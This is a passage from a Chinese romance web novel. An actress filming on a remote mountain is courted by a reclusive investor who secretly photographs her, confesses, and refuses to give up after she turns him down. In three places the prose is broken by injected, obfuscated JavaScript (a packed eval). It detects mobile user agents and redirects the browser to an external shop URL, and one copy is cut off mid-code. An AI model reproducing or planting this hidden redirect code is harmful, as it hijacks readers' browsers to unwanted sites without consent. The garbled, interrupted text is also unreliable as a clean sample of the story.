周寒时也任由她这样直直地看。 他比岑遥年前见到的时候更瘦了。 脸颊上没什么肉,薄薄一层皮贴着骨,五官因此显得更深邃,轮廓格外分明,不知道是气血不足还是衣服衬托,他的皮肤很白,白得不健康,像是过得不太好。 糅合着颓唐和单薄的一个人,应该漠然一些才对,像她第一次见他那样。 可此时此刻,他又专注地回视她,眼里带一点笑的,在等她发落。 这些让他整个人都很矛盾。 “这边风景是很不错,就是出行不太方便,你准备玩多久?”她看向窗外,没去追究他的别有用心。 周寒时的神态渐渐恢复自然,“还不确定,我只比你们早两天到,估计还要再待一阵子。” “你的工作可以请这么长的假吗?”她好奇。 “我线上也会处理一些。” 岑遥点点头,表示明白,“挺好的,趁这个机会好好放松一下。” “你前段时间陪家人在凛州过年,也是在那儿旅游吗?” “不是,我家人就住在凛州。” 凛州在北方,但周寒时比任何人都清楚岑遥不是北方人。 因为太想知道她这些年的经历,他忍不住试探着问:“你是凛州人?在那边长大吗?” 岑遥的视线停在窗外的某个静物上,很短暂地怔一下,然后立马看向周寒时。 “你不是我的粉丝吗,怎么连我是哪里人都不知道?”她用玩笑的语气,但眼神已经不一样了。 竖起心理防线是一瞬间的事。 周寒时很快明白,不要再问。 他应该想到的,她的隐瞒就是她的回答,最起码,他不能擅自打破她的平静现状。 刚认出她的那段时间,有很多次,周寒时都想去找她,把她和他的从前说给她听。 但看到她眼中对他的陌生时,他又迟疑了。 无论过去如何,眼下她已经有新生活,他也要重新认识她、了解她。 “我以为是自己记错了。”他说着谎话,以此揭过说错的话。 岑遥将话题挪回他身上:“你来这边,徐导知道吗?” “嗯,我们昨天见过。” “那徐导得多紧张,投资人亲自盯着他导戏。”她打趣道。 周寒时轻笑,“我和他说过,不要和别人说我是谁,而且我实在不懂电影,就不插手他的工作了。” “不懂电影?可你上次给我写的……”说到这儿,岑遥微微卡顿,又继续:“那个信里,我就觉得你解读的挺好的,电影其实也只是一种表达方式。” “你演得好,很真实,让人能感同身受地代入进去思考。” 面对直白的夸奖,岑遥还是有些不好意思的,目露腼腆,努力压制又翘起的唇角带着点小骄傲。 她的微表情很可爱。 周寒时看着,很想摸摸她的脑袋,像很久之前一样。 “那你这段时间的身份就是……来这里采风的摄影师?”岑遥接着问。 他这一身休闲打扮,不认识他的人应该完全想不到他的真实职业,摄影师确实贴合他的气质。 “可以这么说。”他从她这儿获得灵感,话里含着笑意。 “我们明天就开始拍戏了,你一个人在这儿,上山下山都注意安全,祝你玩得开心。” 周寒时点头说好。 他觉得到现在还能如此镇定地面对她,就是因为再次见面,她把自己照顾得很好,饱经世故但还是留有最难得的纯真,还是经常笑,声音脆脆的,一顿一挫地和他说话的样子,熟悉得让他心口酸软。 太阳越升越高,楼上的脚步声也多了起来,大家都陆陆续续地起床。 岑遥起身往外走,没说再见,只背对着周寒时随意地挥了挥手。 - 在气象预报上看,这个地区近半个月的天气都很好。但山里地形复杂,小气候多,听当地导游说,依据往年的经验,三月下旬开始,山里可能会进入雨季。 虽然这部电影的资金到位了,但是阴天自然光线不好,山路也难走,来回切镜布景耗时耗力,一旦碰上雨季,剧组工期就要延长。 山上环境不好,大家都想早来早回。于是在统筹的安排下,几段室外戏提前,争取在近期杀一个室外景。 岑遥连续好多天早出晚归。 拍摄的戏份发生在剧本中的夏天,演员们都得穿夏衣,室外温度又低,有时候徐导为了精益求精,一个片段需要拍好几版留用。 这种情况下,着凉感冒是常有的事。 前几场戏,岑遥的戏服很薄,轻到容易贴肤的棉绸花布裙,让她经常冻到牙齿打颤,毫无意外地成为最先感冒的那一批。 症状初显的当天晚上,岑遥精神不济,收工后就回房间裹着被子躺下,没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469484|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到会在睡觉前收到周寒时送来的感冒药。 他没有大张旗鼓,只是将装着感冒药的袋子挂在门把手上,然后在微信上告诉她,让她记得拿。 看到消息时,岑遥惊讶得忍不住问:【你怎么知道我感冒了?】 【下午在楼下遇到你的时候,我听你说话有鼻音,在片场也一直打喷嚏】 放在平时只是叫一个外卖的事,但这里前不着村后不着店,最近的药店在山下的镇子上,往返都要花时间。 岑遥和他道谢。 【不用谢,以后还缺什么东西都告诉我,我时间很多,去山下的时候可以帮你带上来】 【药记得按时吃,不舒服一定要休息,别硬撑】 【如果觉得戏排得太紧可以和我说,我提醒一下徐铭,让他给剧组放个假,不会提到你】 如果不是他这样说了,岑遥都快忘记他是这部电影的投资方。 看着这几条消息,她心里有种异样的感觉,头一次被资方关照,没想到会在这种情况下。 【没事,徐导体恤演员,不会很辛苦】 - 岑遥以为周寒时不会在山里待很久,但日子一天一天的过去,她几乎每天都能看到他。 虽然青夷山这一片也是旅游开发地,但发展得还不够商业化,山脚下的古城游客会多一些,山腰这一块再往上,没什么好玩的地方了。 风景是不错,可也没有特别到哪里去,待个两三天足够耗完新鲜劲了。相比之下,时有时无的信号带来的不便,更让人厌烦。 但周寒时就这么住下来了。 他在民宿的这些天,除了被岑遥提前告知的小畅外,连那天陪他吃饭的几位主演都没认出他,剧组的人都信了道听途说的消息,以为他是个自由摄影师。 他每天都是差不多的打扮,穿深色系的登山服,鸭舌帽和灰色冷帽轮换着戴,手里拎着不知道什么型号的单反,总是独来独往,像是对这个世界有种天然的排斥感。 这身气质无疑是吸引人的。 岑遥碰见过几次组里的工作人员找他搭话,他态度淡淡的,谈不上没礼貌,但半句话都不愿多说。 有次他离开之后,留下的两位摄像大哥凑在一块聊他手上那个贵得要命的相机,聊完又点评他这个人真高冷。 周寒时区别对待得很明显,从来都只主动和她说话。 每次在片场附近或者早晚进出民宿时遇到,他都会走到她身边和她聊聊天气和拍摄进度。 他不会过度打扰她的工作,人多时也会注意分寸,但岑遥却觉得他的存在感很强。 潜移默化到,她已经没办法再忽视他。 他只是站在那里,身影和神态却印在她脑海中,挥之不去。 8. 第八幕 青夷山上有一所学校,电影里女主回到山区做教师的片段,就安排在这所学校拍摄。 这部分的剧情主要是女主演绎,岑遥只有几个镜头,一上午就拍完。 按道理的话,每个人当天戏份结束后就可以先回去休息,但岑遥习惯在片场多待一会儿,观察其他演员在戏里的情绪,方便自己更好的代入进去。 岑遥裹着羽绒服,坐在一旁的矿泉水箱上,习惯性地四处望一望,却没有看到预想中的人。 昨天好像也没看见周寒时。 他回去了吗? 算一算,她都已经拍了十三天的戏了,他的假期应该也结束了。 岑遥垂了垂眼,低下头去看手机,片刻,又将手机锁屏塞进口袋中。 不远处,导演喊“卡”,示意这段戏过了。 今天的戏拍得很顺,徐铭心情也不错,在监视器后面坐着,确定过没有需要补的镜头后,便通知大家提前收工。 片场的人们各司其职,收摄像器械,拆打光棚,还有人从车上往下一个接一个地搬箱子,然后往学校里运。 岑遥看见,起身去问身旁的场务那些是什么。 “哦,是给学生送的文具还有体育器械,这不是耽误人家学生上课了吗,周总的意思是,得结一下场地费。” “周总?” “就是我们的投资人。” “哦,我知道他。”岑遥说。 旁边的执行制片正指挥摄像大哥找角度拍摄那些捐赠的用品,准备留着做宣发素材用,听到关键词,也凑上来聊,“我之前听老方说过,这个学校也是他在捐助,这两年都靠他维持着才能办下去。” “难怪呢,我看那每间教室里的桌椅都是新的,设施也挺齐全。” “是,给我们省了不少事,不用运道具了。”执行制片说着,又庆幸道:“那位周总是真的挺大方,听说人家不做影视投资的,原本都拒绝了,后来坐在一起吃顿饭,又同意了。” 聊着聊着,便说到那些从山下运来的热饮,成箱摆在片场的零食,还有贴心的感冒药和暖宝宝,原来都是周寒时额外赞助的。 剧组人多,来来去去的,路过听到,谁都要夸一句投资人钱多心善。 - 收工收得早,回到民宿时是正午,岑遥习惯性望向三楼最靠里的房间,那扇房门紧闭,和往常没有区别,看不出之前住的人还在不在里面。 她准备上楼,却被祁子亨从后叫住。 转过身,对上他笑吟吟的一张脸。 祁子亨问:“不吃饭就回房了?” “嗯,这几天没怎么休息好,想回去补个觉。” “我看看。”对面的男人倾身靠近。 祁子亨的长相在娱乐圈里算是名列前茅了,因为长得帅,路人缘也不错,上回闹出绯闻,还有一堆人替他开脱。 乍然这么一贴近,俊朗五官在眼前放大,说实话,是有些视觉冲击的,但岑遥不为所动,只皱皱眉,不解地问:“干什么?” 她眼里没有一丝一毫的波澜,好像他没长在她审美点上,祁子亨自讨没趣,又摆正身体。 “放心吧,没黑眼圈。”他抱怨,“不过这鬼地方,确实是吃不好又住不好,不知道什么时候是个头啊。” “这里……也还好吧,住这么久了还没习惯吗?” 祁子亨抄着兜,散漫地笑:“怪不得徐导天天夸你,说你能吃苦。” 面前女孩的长相很有欺骗性,眼睛乌黑澄亮,很少冷脸,同她相处过的人都会发现她的简单和纯粹,但也会知道,看上去像妹妹的她,完全不需要保护。 那些祁子亨自诩高明的暧昧小伎俩用在她身上,次次失效。 岑遥其实想问,这点事哪里称得上苦。 但还未开口,余光便注意到楼上的人,一抬头,刚好看见周寒时。 他在暗处,不知道何时出现,又站了多久,没什么表情地睨着下方,身高和视角,让他的周身潜藏着淡淡的压迫感。 祁子亨发觉岑遥的怔然,随着她的视线望去。 不期然地对上周寒时的目光,他头皮一紧。 周寒时下楼,就像是偶然出现一样从两人之间的窄路借过,在走到祁子亨面前时,步子慢下来,没表情地朝他看了一眼。 他没戴口罩和帽子,毫不回避地出现,祁子亨也得以看清这张在此之前从未注意的脸。 周寒时走过去之后,祁子亨惊讶到说不出完整的话,震惊地看向岑遥,“刚刚那个是……” 岑遥知道他想问什么,点了点头。 她对祁子亨的反应不太在意,只望着渐渐走远的周寒时。 等他的背影消失在门外,她才忽的反应过来,转过头,小跑上楼,回房间关上门。 小畅在楼下吃饭,房里没别人,岑遥推开窗户往外看。 窗下是民宿的后院,连着下山必经的路。 果不其然,周寒时就站在路边。 岑遥猛地退回来,背靠在窗帘后面,一路小跑的缘故,她的心脏怦怦直跳。 站了一会儿,呼吸才平复下来,她慢慢探出脑袋看了一眼。 奇怪的是,周寒时还在原地,低头拿着手机不知道在做什么。 岑遥躲在窗帘后面观察片刻,心底忽然冒出一种预感。 从口袋里摸出手机,屏幕上,赫然躺着周寒时的六条未读消息。 她不明所以地点进去,然后便看到很多条从各大平台转载过来的关于祁子亨地下恋情的报道。 她一下子笑了,盯着还在变多的第三方链接,再看看楼下依然站在路边纹丝未动的周寒时,忍不住觉得他有点可爱。 岑遥知道,他是想借此提醒她,祁子亨的人品不好。 转发了十多条之后,对面终于消停下来。 没几秒,周寒时打字告诉她:【祁子亨的花边新闻很多】 【我知道,我们只是同事而已】 【他刚刚离你很近】 她解释道:【他对别人也是这样】 周寒时可能不了解,祁子亨连上妆的时候都喜欢撩拨几句化妆师姐姐。 【说明他这个人很轻浮】 岑遥觉得周寒时评价得挺到位的,但她现在并不想聊祁子亨。 【你要出门?我看你拎了包】 【嗯,我听徐铭说,你们下午休息?】 岑遥心道,他的消息还挺灵通的。 【对啊,今天收工早】 【吃饭了吗?镇子上有一个土家菜馆,要不要和我一起下山去吃?】 忽然的邀约,让岑遥微微愣神。 但只犹豫片刻,她便鬼使神差地回复:【很好吃吗?】 【还可以,比盒饭味道好,就当改善一下伙食?】 岑遥答应了。 从房间里拿上帽子,她又脚步轻盈地小跑下楼,绕过吃饭聊天的人群,径直出了门。 听到身后传来脚步声,周寒时回头,看到慢慢走近的岑遥。 她戴着粉色鸭舌帽,穿没什么设计感的黑色长款羽绒服,简单随意的打扮,就像是与相熟的友人会面。 在他跟前站定,她小声问:“我们怎么下去?” 周寒时勾唇,指一下停在不远处的黑色轿车,“有司机来接。” 下山的路上,两人并排坐在后排。 岑遥说:“昨天好像没见到你,我还以为你已经回去了。” 周寒时向她解释了他这两天在忙的事情。 公司的项目进展受阻,需要他接手,山上信号不好,他昨天在镇上的酒店里待了一天,处理工作,顺便开远程会议。 那些工作量不是一天就能解决的,他今天还要继续在镇上的酒店住一晚。 听他谈论这些事情,岑遥才开始对他的身份有实感,也对他更了解了一些,在人前,他是位年轻的企业管理人,称得上一句稳重自持。 但与现下在她眼前的人联系在一起,她又感到一种违和。 “你今天上午是回来拿东西?” 周寒时摇头:“想带你去尝尝那家的菜。” 他就这么直白地说出自己的想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时的她很瘦,是那种不太健康的细条条的瘦,但轮廓却比现在柔和青涩,扎着短短的马尾,圆圆的脸,圆圆的脑袋。 吃饭时他们没有聊天,吃到差不多的时候,岑遥放下筷子,周寒时用干净的碗给她盛了半碗汤,她用汤匙慢慢喝,发呆时,又想起上午听到的那些。 “今天在片场的时候,我听说这些天剧组里吃喝的零食还有药品,都是你送的,我之前都没听你提过。大家都很感谢你,夸你钱多心善。还有山上的那所学校,也是你在捐助?” “嗯,学校是长期帮扶项目,我名下有一个基金会,会定期给很多这样的山区学校送书本文具,还有衣服之类的。” 他说这些话时,就像在聊很寻常的事,对于岑遥提到的那句美言,他也只是置之一笑,“这没什么。” “怎么会没什么呢,对那些学生们来说当然有很大的意义。” “我是觉得,要想行善积福,我做的这些都是最基本的。” 行善积福? 岑遥在唇边默念一遍,感到很有意思。 没想到,他看上去像是不太关心这个世界,原来也会信业力缘法,说这种老气横秋的话。 “做这么多好事,肯定会有福气的。” 听她这样说,周寒时眼里又浮出笑。 他只是听闻,以布施的功德回向逝者,逝者便可以离苦得乐。 功德是给她攒的,到头来却成全了他。 “这种项目,我可以参加吗?”岑遥向他打听起来,“我是说,就是我们这样的普通人,可以通过你这边的渠道捐款吗?” “当然,不过我们募集的善款大部分来自企业,个人项目很少,如果你想参与,可以和我说,我联系负责人。” 说罢,周寒时迟疑,又问:“你是为了这个才和我出来吃饭?” 岑遥没有回答,只抿唇笑了笑。 今天和他一起坐在这儿,仅仅是出于她的私心。 9. 第九幕 那顿饭就像一个契机,让两人的关系更进一步。 因为工作上的事,周寒时需要频繁下山,有了岑遥的第一次破例之后,他每次都会主动问她要不要一起去。 当天没有要拍的戏份时,岑遥偶尔会应邀。 说是去山下吃饭,但她通常只吃很少一点,她不贪嘴,对食物的要求也不高,答应一起前去,无非是想获得短暂的放松,以及满足自己对周寒时的好奇心·。 有时不去吃饭,只避开人群,坐着周寒时开的车环着山路兜一圈,或者去山脚下的湖边转转。 每当这个时候,岑遥的话都会变得很多。 她聊拍戏时的压力,无法突破的情节演绎,会给周寒时推荐自己最近在看的电影,要求他抽空看完,再在下一次见面时抽问他观后感。 其中的很多话,她不会和小姨说,因为知道小姨不在乎,但说给周寒时听时却心安理得,毫无负担。 也许是他看上去听得很认真,让岑遥觉得,那些无处安放的情绪被接住了。 而且她发现,周寒时原来很爱笑,她说话时,他总是一副笑眼地看着她,好像她是个很幽默的脱口秀演员。 在心里,她将周寒时定义为她想结交的朋友,原因归结为她喜欢他周身的磁场,和他待在一起的时候,她的心情就会很好,有种秘而不宣的、摸不清由来的轻快,虚无感不再黏着她。 与周寒时相处得越多,这种感受越能被验证。 - 时间来到三月下旬。 紧赶慢赶,剧组还是没能在雨季来临之前拍完室外景。 有一天,因为雨势大,安全起见,整个剧组都留在民宿休息。 在房里待了大半天,闷得发潮,大家在午休之后都不约而同地到一楼透透气。 民宿老板见状,热情地烤了几盘小土豆摆在用餐区的桌子上,免费送给他们吃。 撒上佐料的土豆香气扑鼻,众人乐呵呵地围成一团,边吃边聊。 这些人里自然没有周寒时。 岑遥解决完自己的那份,见盘中还剩下几个土豆无人问津。 想了想,她上前又拿了一个。 用餐区在楼梯的背面,没有人发现岑遥上楼后,在走廊尽头的房门前停下。 她抬手轻轻叩门。 过了一会儿,房门才从内打开。 看清门外的人之后,周寒时微皱的眉头顷刻间松开,很意外地愣住。 他穿一条宽松的居家长裤和白T恤,倚在门框上,脸上有明显的惺忪和倦色。 “你在午睡是吗?不好意思……” “没事,也该醒了。”他问:“你找我?” 岑遥点点头。 “要不要先进来?” 他看着她,侧过身让出位置。 岑遥没说话,默默走进去。 阴雨天,室内没有光亮,门被合上后更甚,她眼前霎时暗沉沉一片。 好在身后的人很快便开了灯。 房间内部的陈设和格局都与她住的一样,双人标间,铺着素木地板,淡杏色的亚麻布窗帘紧闭,其中一张床上的被子散乱的铺开,应该是他刚刚起床时弄乱的。 “你手里拿的是?”他问。 “哦,是土豆。”岑遥这才想起正事,她递到他面前,“这是老板刚刚烤好的,我想着……给你拿一个尝尝。” 周寒时接过,盯着圆圆的土豆笑了,“谢谢。” “不用谢,”岑遥回得很快,“你趁热吃吧,我就先出去了。” 她刚将房门打开一条缝,握着门把的手背便一热,是周寒时的手覆上来。紧接着,门被再次合上。 “嘭”的一声,她错愕地顿住。 “外面有人。”他解释道。 经他提醒,岑遥才听见门外隐约的上楼声,走廊上有人在说话,声音由远及近。 估计是楼下的人陆陆续续回房间,现在出去,刚好迎面碰上。 “再待一会儿吧。” “好。” 覆在她手上的手移开,周寒时也退回他原先站的位置。 岑遥没有安安分分地站着等待,而是在这个小房间里四处转了转。 房内唯一的木桌上整齐摆放着两沓文件,她走近,看到一张纸上的笔迹。 她认出这是周寒时的字,相比他给她写的信,这张纸上的字要潦草一些,不过依旧好看。 岑遥转过头,看向几步之外的男人。 烤土豆不大,周寒时几口吃完,去浴室洗手时顺带洗了把脸,额前的碎发被打湿一些,可能有段时间没理发了,头发已经有些长了,微微遮眼。 他走过来,岑遥移开视线,随口找了个话题:“你读书时成绩是不是很好啊?” 周寒时脚步一顿。 这是她第一次问到他以前的事。 “嗯,我成绩是还不错,”他走近了点,站到她身旁,“高中的时候,经常有同学来找我请教题目,我一般……只给一个同学讲。” 他说的话有点奇怪,岑遥没明白,只是在笑,“还需要限额吗?” “我和别人都不熟。” “这样啊。”岑遥轻轻应一声,像个置身事外的普通听众。 显然,她对他的过去一无所知。 为什么她把他忘得那么干净?遗忘是不是代表她不再需要了。 他还能留在她身边多久呢? 周寒时垂着眼,因为心中的想法而略微失神。 岑遥没有察觉,又看到桌上放的相机,这些天,周寒时总是将它带在身上。 她碰了碰相机,“我能看看吗?” 身旁久久没有回应。 她抬头看向他,才发现周寒时像在发呆。 “周寒时?” “嗯?”他终于回神。 岑遥注意到他眼下的淡淡乌青,“你昨晚没睡好吧?” “嗯。”他没有多解释。 其实何止昨晚,失眠是老毛病了,他已经习惯清醒着度过漫漫长夜。 “你刚刚在说什么,对不起,我没仔细听。” “我想问我可不可以看看你拍的照片?” 周寒时迟疑片刻,点了点头,主动将相机拿起来,开机,递给她。 映入眼帘的第一张就是她的背影。 岑遥下意识抬眸看他。 他的脸上看不出局促,绝对记得自己拍了什么,也不觉得有什么见不得人。 岑遥继续往后翻看。 余光里,周寒时走开了,他走到床尾坐下,没有做别的事,像在静静等待着什么。 不平静的人是岑遥。 手里握着的相机像是写了她的名字,里面全是她的照片。 在片场弯腰听徐导讲戏时的她。 穿着民族服装,头戴银饰,笑着和别的演员聊天时的她。 独自坐在矮凳上,红着眼酝酿情绪的她。 还有夜里下戏,回到民宿的她,看角度,应该是他从窗户俯拍。 …… 照片翻不到头,数不清到底有多少张。 哪怕他说过是她的粉丝,岑遥也没做好准备,再好的演技都装不出无事发生。 偏偏周寒时也没想过要轻轻揭过。 “你有什么想问我的吗?” 隔了几步的距离,他坐着开口,不大的声音回荡在房间里。 “你什么时候拍的这些?”岑遥将相机放下,语气尽量自然,“我都没注意,这么多张,不知道的还以为你不是我粉丝,是过来做代拍的。” 周寒时盯着她,知道她在回避。 “对不起。” 他忽然道歉,令岑遥措手不及,她不解地问:“什么?” “我喜欢你,所以用了粉丝的名义接近你。” 这句话的前四个字,晚了将近八年的时间,才在她面前说出口。 他不想再等了。 哪怕她忘记了一切,他也要将自己的心意告诉她。 错愕吗?岑遥扪心自问。 多少有一点。 但更贴切的想法是果不其然。 周寒时看向她的眼神里有感情,但很干净,所以她放心大胆地任由他靠近。 讶异之后,她乌黑的眸子里摒去多余的情感,只剩冷静。 “谢谢你,但是……我没有别的想法。” 她放下相机,准备出去。 “岑遥。”周寒时起身,气息不稳地叫她。 岑遥停在房间门口,回头看了他一眼:“之后我们还是保持一点距离吧。” 只要她想,她本可以将周寒时推得远远的,不给他留出任何感情上的余地。 是她太贪心,既要享受周寒时带给她的感觉,又从未考虑过如何收场。 如今他戳破了两人之间无形的薄膜,她也不能再继续自欺欺人,平白让他产生没有结果的期待。 岑遥离开得不留情面,甚至没有给他把话说完的机会。 只是走出去很远后,她的脑海里还印着视线里周寒时最后的样子。 他一动不动地站着,眉心微蹙,满身的失落,就像一只忽然被丢下的,意识到自己要开始流浪的小狗。 - 人和人之间想变亲密很难,就像打游戏,需要一点一点的积攒经验值,但疏远却很容易,只需要其中一方不再给出任何回应。 天气原因,即使不下雨,室外的拍摄效果也不尽人意。 原地等了几天后,剧组决定切换场景,开始进行室内戏的拍摄。 岑遥按时上工,片场民宿两点一线,不再因为收到一条邀约消息就寻借口出去。 只是同住屋檐下,碰面在所难免。 少了她之后,周寒时又变回独来独往的一个人,她以为他会离开,但他仍旧留在这儿,像是要安家。 大概过去一周后,周寒时在她下戏的晚上联系她。 他直接打了通电话,接通后,岑遥听见他沉冷的声音,“岑遥,我们聊聊吧。” 她没犹豫地说了好。 这些天她也想过,当时是不是应该再温和一些?所以即使周寒时不开口,她也会找个机会主动约他认真谈一谈。 见面的时间约在晚上。 那天片场出了些状况,下戏下得晚,收工时已经是深夜。 岑遥提前和小畅说过,回到民宿后,她没有进去,直接去见了周寒时。 民宿后面有一条石阶小道,沿着小道往上走,有一处悬崖,那里视野开阔,是天然的观景台。 崖边围着木栏杆,周寒时已经等在那里,上身穿一件薄羽绒的白色外套,背对着她,胳膊搭在栏杆上,静静地看着远处,背影单薄,在夜色里萧索又孤僻。 听到身后的脚步声,他转过身,一言不发地看着她。 “等很久了吗?”岑遥走上前。 “没有。” 好多天没和他说过话,再次面对面地站着,岑遥有些不自在。 如果是完全陌生的两个人,倒也不至于这样,熟悉过又变得生分,才会不上不下,让她找不到一个合适的态度对他。 好在她刚好也有话想说。 所以没有冷场多久,岑遥便打破沉默。 “那天回去之后,我想了想,还是应该再和你说清楚一些。”长期拍戏练台词的缘故,她说话时吐字清晰,音色清亮而干脆,语速慢慢的。 “周寒时,你是很不错的人,这是我的真心话,所以我会愿意和你交朋友,但我忽略了我们对彼此的认知并不对等,前段时间,我的一些做法不太合适,如果让你误解了,我和你道歉。” 周寒时静静听完,“你不用觉得抱歉。” 岑遥摇头,还想说什么,但他很快又继续道:“因为我不会因为你的拒绝就放弃。” 他低眸,注视着她的眼睛:“今天约你出来,就是想和你说这件事,我以后还是会像这样,想方设法地找机会接近你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469486|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的态度是她来之前未预料到的。 “你这样……是在浪费时间。”岑遥说:“我这么果断地拒绝你,就是不想含糊其辞地吊着你,你能明白吗?” “如果我愿意呢?” 她脸上露出短时的错愕。 “不要因为没想明白就急急忙忙推开我,我心甘情愿被你吊着,你不需要有负担。” 他的神色认真,不是赌气,是真的在劝她考虑他的话。 多想一天,他就在她心里多待一天,变成她的烦恼,也好过当无关紧要的某某。 岑遥领教了他的执着,一时竟说不出斩钉截铁的话。 如果不是站在他面前,她完全想象不到这些话是周寒时说出来的。 这么冷感的一个人,追求人竟然也不介意用死缠烂打这一招。 她还有一些打好的腹稿没说,但现在看来也用不上了。 他油盐不进的。 “周寒时,你有没有想过,你对我的喜欢可能只是一种……欣赏?我们才认识没多久,你又了解我多少呢?” 这个问题也是岑遥这些天在思考的。 她记得,周寒时对她的态度是在饭局之后便转变了的。 但在这之前,他们唯一的交集就是在一张桌子上吃了顿饭。 那只能用一见钟情来解释了。 她向来认为这种短时间里迸发的情感太浅薄,只会随着时间稀释。 “欣赏?”他很淡地笑一下,“岑遥,我很清楚自己的心,也确定我喜欢的不是荧幕上的那个你。你呢?除去这些,单论我这个人,你对我一点感觉都没有吗?” 这句话将岑遥问住,她迟迟没有给出回答,眼里似有一种犹豫的歉意。 周寒时看着她,就这么盯了一会儿,他偏过头,重新望向远处。 站在这里,可以看到山脚下的城镇,万家灯火渺远得像头顶的星空。人在高处的时候,会发现这个世界比自己以为的还要大得多。 这样大的世界,他又遇见她了,如果神明真的存在,他应该跪下感谢的,怎么还不知足,想得到更多。 可他真的很想她,想到即使她站在他面前,他还是觉得不够。 每次和她对视时,他心底都会升起一股期待,在想她会不会记起他。 他还记得她对他说过的话。 「周寒时,你知道吗,你比我能想象到的一切都要美好,就算以后我们各散天涯,不再联系了,我也会永远记得你的,你也不要忘记我好不好?」 他听了她的话,她却没有履行诺言。 骗子。 太多情绪如海啸涌上喉间。 他撑着栏杆,低下头。 岑遥看着他弓起的背脊,察觉出一些不对。 “周寒时?” 她以为他只是情绪不好,但走近后,却看他眼角落下一滴眼泪。 她一瞬间怔住。 原以为这些年的经历,早已让她变得不再那么容易共情旁人,可为什么看到他掉眼泪,她的心口也会难受? “你别哭……”岑遥拉住他的手臂,声音不自觉软下来。 她没带纸巾,好不容易憋出的安慰也苍白无力,只能付出实际行动,用指腹把周寒时下颌处的眼泪擦掉。 他低着头,眼眶红透了,以往的冷静淡然不复存在,脆弱得好像她可以对他做任何事。 周寒时是在眼泪流下来之后才意识到它的存在,没想到还能换来她短暂的温柔。 他闭了闭眼,深吸一口气。 雨季把山浸在湿气里,这一口冷意过肺,骤然的刺激,又让他猛地咳起来。 周寒时将脸偏向另一边。 岑遥更不知所措,帮他拍了拍背,无意中碰到他垂在腿边的手。 他的手很冰,她下意识握住,才发现他的手在抖。 下一秒,她被周寒时严严实实地揽到怀里。 她毫无准备,怔愣地眨一下眼睛。 “让我抱一下好吗。”他低低说了一句,嗓音是哑的。 岑遥没有推开。 像是有一种本能,让她不忍再看到他难过的眼睛。 似是发觉她未抵触,他慢慢收紧臂膀。 紧紧相依的瞬间,所有心事和杂音都消失了。 凉薄的月光下,天地很静,夜风拂过,只剩早春新生的枝叶簌簌作响。 岑遥的脸庞贴在他的颈间,只能感受到跳动的脉搏和体温。 好一阵过去,周寒时的呼吸慢慢平复。 他不太舍得地放开她。 岑遥还在走神,这个没有预演的拥抱像是拍戏时的临场发挥,带出她最真实的反应。 不忍,怅惘,怦然。 两人之间积聚的暖意随着拉开的距离慢慢散尽,胸前又变得空荡荡。 空气安静几息,她听见周寒时说话。 “我明天就要走了,公司有事需要我到现场,等结束了再回来。刚刚问你的问题,你再想想好吗?” 岑遥抬眼,“你要去多久?” 似是没想到她会关心,他愣一下才说:“不确定,大概一个星期,我会尽快的。” “你可以答应我一个要求吗?” 周寒时想也没想地点头,“你说。” “你不要过来了,这段时间,我们也暂时别联系,等我想好了,就告诉你答案。” 他迟疑:“我回来之后不会打扰你,就像之前一样。” “我不是担心你打扰我,这里离漴城太远了,来回都很折腾,而且……”她轻轻皱了皱眉,“你在这边住得也不好吧。” 刚刚他抱着她的时候,她发现他比看上去的样子更清瘦,用形销骨立来形容都不足为过。 “我觉得挺好的,每天都能看到你。” 摊牌之后,他连说话都不含蓄了。 岑遥无奈地弯一下唇,“就这么说定了,回去之后,你好好休息,但是也说好了,不要再主动找我。” 10. 第十幕 因为天气耽误了拍摄进度,剧组一行人还要在青夷山待一段日子。 而周寒时离开了青夷山,也听话的不再发消息过来。 岑遥彻底回到了从未认识过他的生活。 又过去十天,四月初,雨季结束了,温度直线回升,终于开始出现长时间的光照,所见之处的色彩逐渐明亮起来。 这是一个蛰伏的春天。 室内戏拍完,他们杀景换场地。 切回室外开拍的这天,应该是来到青夷山以来天气最好的时候。 岑遥在剧组临时搭的棚里换上戏服,撩开挡风帘出去,被阳光照得微微眯眼。 今天拍的是男女主年轻时的感情戏——男主千里迢迢跑来山里找女主求和,但两人的观念和成长环境悬殊太大,三言两语间又谈崩,求和不成,反倒彻底决裂。 这段是主角中年时期的回忆,在整部电影里的比重很轻。 祁子亨演轻狂二世祖又很有一手,岑遥也稳定发挥,从起争执到说分手,很长的一段对话,两人走了一遍戏之后,一气呵成地演完。 但徐导不满意,让他们再来一条。 这场戏对情绪的消耗很大,拍第二遍的时候,祁子亨状态明显不对了,拍到一半的时候就被喊“卡”。 徐铭盯着监视屏看了一会儿,把两人一起叫过去讲戏。 “子亨你吵架吵上头了是吧,你是被甩了,能不能再难过点?小岑的情绪也不够,虽然你知道你和他没结果了,但感情还在,不能这么倔,跳出自己的性格,你俩要带着遗憾去演,知道吗?” 